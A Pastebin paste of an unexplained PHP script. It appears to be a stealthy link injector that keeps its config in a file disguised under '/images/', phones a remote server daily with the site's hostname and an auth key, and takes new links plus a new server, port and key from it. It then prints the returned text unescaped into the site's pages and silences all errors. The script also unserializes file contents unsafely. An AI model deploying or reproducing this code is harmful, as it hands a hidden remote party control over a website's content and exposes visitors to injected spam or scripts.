Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- define('CONFIG_FILE', '/images/config.db');
- define('CACHE_TTL', 24);
- function loadConfig($path)
- {
- $size = FALSE;
- $content = FALSE;
- $result = FALSE;
- $fp = @fopen($path, 'r');
- if ($fp)
- {
- $size = @filesize($path);
- if ($size)
- {
- $content = @fread($fp, $size);
- }
- @fclose($fp);
- if ($content)
- {
- $result = @unserialize($content);
- }
- }
- if ($result)
- {
- return $result;
- }
- return array();
- }
- function saveConfig($path, $data)
- {
- $fp = @fopen($path, 'w');
- if ($fp)
- {
- if (@flock($fp, LOCK_EX))
- {
- $content = @serialize($data);
- @fwrite($fp, $content);
- @flock($fp, LOCK_UN);
- }
- @fclose($fp);
- }
- }
- function getLinks($server_host, $server_port, $path, $key)
- {
- $fp = @fsockopen($server_host, $server_port, $errno, $errstr, 30);
- if ($fp){
- $data = urlencode($_SERVER['HTTP_HOST']);
- @fputs($fp, "GET $path$data HTTP/1.1\r\n");
- @fputs($fp, "Host: $server_host\r\n");
- @fputs($fp, "Authorization: Basic $key\r\n");
- @fputs($fp, "Connection: close\r\n\r\n");
- $result = '';
- while(!@feof($fp)) {
- $result .= @fgets($fp, 128);
- }
- @fclose($fp);
- }
- else
- {
- return array(
- 'status' => 'err',
- 'error' => "$errstr ($errno)"
- );
- }
- $result = explode("\r\n\r\n", $result, 2);
- $header = isset($result[0]) ? $result[0] : '';
- $content = isset($result[1]) ? $result[1] : '';
- return array(
- 'status' => 'ok',
- 'header' => $header,
- 'content' => json_decode($content, true)
- );
- }
- function endsWith($haystack, $needle)
- {
- $expectedPosition = strlen($haystack) - strlen($needle);
- return strrpos($haystack, $needle, 0) === $expectedPosition;
- }
- function process()
- {
- $config = loadConfig(dirname(__FILE__) . CONFIG_FILE);
- if (count($config) == 0) return;
- if (!isset($config['timestamp'])) return;
- if (!isset($config['server'])) return;
- if (!isset($config['port'])) return;
- if (!isset($config['path'])) return;
- if (!isset($config['key'])) return;
- if (!isset($config['links'])) return;
- $time_delta = (time() - $config['timestamp']) / 3600;
- if ($time_delta >= CACHE_TTL)
- {
- $config['timestamp'] = time();
- $result = getLinks($config['server'], $config['port'], $config['path'], $config['key']);
- if ($result['status'] == 'ok'
- && isset($result['content'])
- && isset($result['content']['links'])
- && isset($result['content']['server'])
- && isset($result['content']['port'])
- && isset($result['content']['path'])
- && isset($result['content']['key']))
- {
- $config['links'] = $result['content']['links'];
- $config['server'] = $result['content']['server'];
- $config['port'] = $result['content']['port'];
- $config['path'] = $result['content']['path'];
- $config['key'] = $result['content']['key'];
- }
- saveConfig(dirname(__FILE__) . CONFIG_FILE, $config);
- }
- if (isset($config['links']) && count($config['links']) > 0)
- {
- $buffer = '';
- foreach($config['links'] as $item)
- {
- if (!isset($item['link']) || !isset($item['text']))
- {
- continue;
- }
- if ($item['allPages'])
- {
- $buffer .= $item['text'];
- }
- else if (endsWith(trim($item['link']), trim($_SERVER['REQUEST_URI'])))
- {
- $buffer .= $item['text'];
- }
- }
- echo $buffer;
- }
- }
- process();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment